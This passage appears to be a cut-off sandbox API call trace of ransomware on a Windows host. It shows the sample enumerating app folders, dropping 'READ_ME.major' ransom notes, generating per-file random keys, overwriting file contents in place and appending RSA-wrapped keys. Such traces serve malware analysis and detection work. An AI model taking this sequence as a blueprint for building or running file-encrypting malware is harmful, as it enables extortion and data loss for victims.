lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.626] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.626] WriteFile (in: hFile=0x1178, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.626] CloseHandle (hObject=0x1178) returned 1 [0200.628] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734de9c3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x734de9c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30e614cb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee57c8 [0200.628] FindNextFileW (in: hFindFile=0x2ee57c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734de9c3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x734de9c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30e614cb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.628] FindNextFileW (in: hFindFile=0x2ee57c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30e614cb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30e614cb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30e614cb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.628] FindNextFileW (in: hFindFile=0x2ee57c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30e614cb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30e614cb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30e614cb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.628] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0e8d7ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30e614cb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee55c8 [0200.628] FindNextFileW (in: hFindFile=0x2ee55c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0e8d7ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30e614cb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.628] FindNextFileW (in: hFindFile=0x2ee55c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30e614cb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30e614cb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30e87716, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.628] FindNextFileW (in: hFindFile=0x2ee55c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30e614cb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30e614cb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30e87716, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.629] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x37484b36, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30ead9fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5488 [0200.629] FindNextFileW (in: hFindFile=0x2ee5488, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x37484b36, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30ead9fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.629] FindNextFileW (in: hFindFile=0x2ee5488, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e8f3a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd784cd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0200.629] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1184 [0200.637] WriteFile (in: hFile=0x1184, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.638] CloseHandle (hObject=0x1184) returned 1 [0200.639] FindNextFileW (in: hFindFile=0x2ee5488, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e8fc7a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd784cd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0200.639] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1184 [0200.640] WriteFile (in: hFile=0x1184, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.641] CloseHandle (hObject=0x1184) returned 1 [0200.641] FindNextFileW (in: hFindFile=0x2ee5488, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e90475, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd784cd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0200.641] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1184 [0200.642] WriteFile (in: hFile=0x1184, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.643] CloseHandle (hObject=0x1184) returned 1 [0200.643] FindNextFileW (in: hFindFile=0x2ee5488, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30ead9fd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30ead9fd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30ead9fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.643] FindNextFileW (in: hFindFile=0x2ee5488, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e90b81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd784cd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0200.643] FindNextFileW (in: hFindFile=0x2ee5488, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e90b81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd784cd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0200.643] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e912c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30ead9fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5708 [0200.643] FindNextFileW (in: hFindFile=0x2ee5708, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e912c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30ead9fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.643] FindNextFileW (in: hFindFile=0x2ee5708, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30ead9fd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30ead9fd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30ead9fd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.644] WriteFile (in: hFile=0x1190, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.646] CloseHandle (hObject=0x1190) returned 1 [0200.646] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.646] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\PhotosAppTracing_BGTask.last.etl", dwFileAttributes=0x80) returned 1 [0200.665] ReadFile (in: hFile=0x1190, lpBuffer=0x30fc010, nNumberOfBytesToRead=0x20000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x30fc010*, lpNumberOfBytesRead=0x2e3f9b4*=0x20000, lpOverlapped=0x0) returned 1 [0200.675] SetFilePointer (in: hFile=0x1190, lDistanceToMove=-131072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.675] WriteFile (in: hFile=0x1190, lpBuffer=0x311c018*, nNumberOfBytesToWrite=0x20000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x311c018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20000, lpOverlapped=0x0) returned 1 [0200.676] SetFilePointer (in: hFile=0x1190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20000 [0200.676] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.676] WriteFile (in: hFile=0x1190, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.677] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.677] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.677] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.677] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FRFBFfdBCWhzZZOO2GZN3b5qyhrzX6Qlz0uzXqeaeuUDJqQ8DwJfmREyXq3Tirzc\nBkPFEVtWlQDeK6NF/EGUYY4tgraPYoEX0NsDq7UM0FU6opx/rVyGX70/TlYx4tZN\njlfZ0KGfvuW97SO4plOqnNQKqq+GYfe/psUoF+OUHtxhvmG9KnFMlOMymJFMSeaS\n2GQdEdW4XNhlopJsm9CZNpyNHAJvNxfz5u2FEkJkcVwQSayWOohCv8bpD0SAta6+\nsQE2AXu3TzdgoFalJ1l1RGsQu2Obuj6zdHVy5Ha/eZnngqh6KUuUJ3Vx0WWRtiiU\nlJaSL8NOCCf+fnxefvA6LA==\n", pcchString=0x2e3f9a8) returned 1 [0200.677] WriteFile (in: hFile=0x1190, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.678] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.678] WriteFile (in: hFile=0x1190, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.678] CloseHandle (hObject=0x1190) returned 1 [0200.680] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.680] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\PhotosAppTracing_BGTask.etl", dwFileAttributes=0x80) returned 1 [0200.680] ReadFile (in: hFile=0x1190, lpBuffer=0x30fc010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x30fc010*, lpNumberOfBytesRead=0x2e3f9b4*=0x10000, lpOverlapped=0x0) returned 1 [0200.752] SetFilePointer (in: hFile=0x1190, lDistanceToMove=-65536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.752] WriteFile (in: hFile=0x1190, lpBuffer=0x310c018*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x310c018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10000, lpOverlapped=0x0) returned 1 [0200.752] SetFilePointer (in: hFile=0x1190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10000 [0200.752] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.752] WriteFile (in: hFile=0x1190, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wAvAe95x0wmySCtEab9xQ7UpYPTmCDhHCJeDDs93ZmKYzOunBiCfHP4gu7zNFnQU\n4eQoHHMeeOYsQwtgmN33wpfd2tunjOpLQhp0Pf7uQNqdZz4yji0r2CvqiPzRP9so\nJXTkzQo6B7S/zoa8AmwSsXxXgKAvEjnONOJoeu4fThBsmlSmJlNMKRIg/ZUrpK6a\nUp2lPZDUz3FynHudei8ANtwnKLNblQQPPAPFulhwed4EPXcZjy6AM/bcVDuqd8yk\nZSWemSf2JtkCKGTvKmOAkhCW2fy6zVyM0rNxQELJFFXbfHiOvA3M7B8Gc3cT9uAS\nnKBTMa71lYt/gPro3Uq/TQ==\n", pcchString=0x2e3f9a8) returned 1 [0200.753] WriteFile (in: hFile=0x1190, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.753] WriteFile (in: hFile=0x1190, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.754] CloseHandle (hObject=0x1190) returned 1 [0200.997] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.997] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-wal", dwFileAttributes=0x80) returned 1 [0200.998] ReadFile (in: hFile=0x1190, lpBuffer=0x3544020, nNumberOfBytesToRead=0x153fd0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3544020*, lpNumberOfBytesRead=0x2e3f9b4*=0x153fd0, lpOverlapped=0x0) returned 1 [0201.078] SetFilePointer (in: hFile=0x1190, lDistanceToMove=-1392592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.078] WriteFile (in: hFile=0x1190, lpBuffer=0x36a3020*, nNumberOfBytesToWrite=0x153fd0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x36a3020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x153fd0, lpOverlapped=0x0) returned 1 [0201.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3544020 | out: hHeap=0x570000) returned 1 [0201.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x36a3020 | out: hHeap=0x570000) returned 1 [0201.111] SetFilePointer (in: hFile=0x1190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x153fd0 [0201.111] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.111] WriteFile (in: hFile=0x1190, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.111] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0201.111] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0201.112] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0201.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0201.112] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cjERdnqTd81wVq0RkEOc1/Ooqjel+3SolQV9nvcdMWUjhAneInmiLWpKiLFGNHud\nLIMXKWXcPaFUW4bWUz7LfWtA7onCgIxGCxyndlue2RYz7Qgyv3q1J3YqY/78ji9/\nZYw5UG9CtDhr3psH32/5kSOybzPMnroLt94EtCRM5TQcDmuj+wYr6jND7faRIMjk\nB7n4KhZ7QeQ0y8PnEEE6XX8xiEuQCC0DGqsM0wwCSkyEA9VWwtq9F9eTN2D1wLZL\nh1GKKuVLR6gBJhttSaIxuaRa7N59wkzLodE651aEt3uuqFt3V/fJUk9XggafjsrI\nr2sUL14eg2byG0tfkyS/KA==\n", pcchString=0x2e3f9a8) returned 1 [0201.112] WriteFile (in: hFile=0x1190, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0201.112] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0201.112] WriteFile (in: hFile=0x1190, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0201.113] CloseHandle (hObject=0x1190) returned 1 [0201.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0201.113] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\MediaDb.v1.sqlite-wal" (normalized: 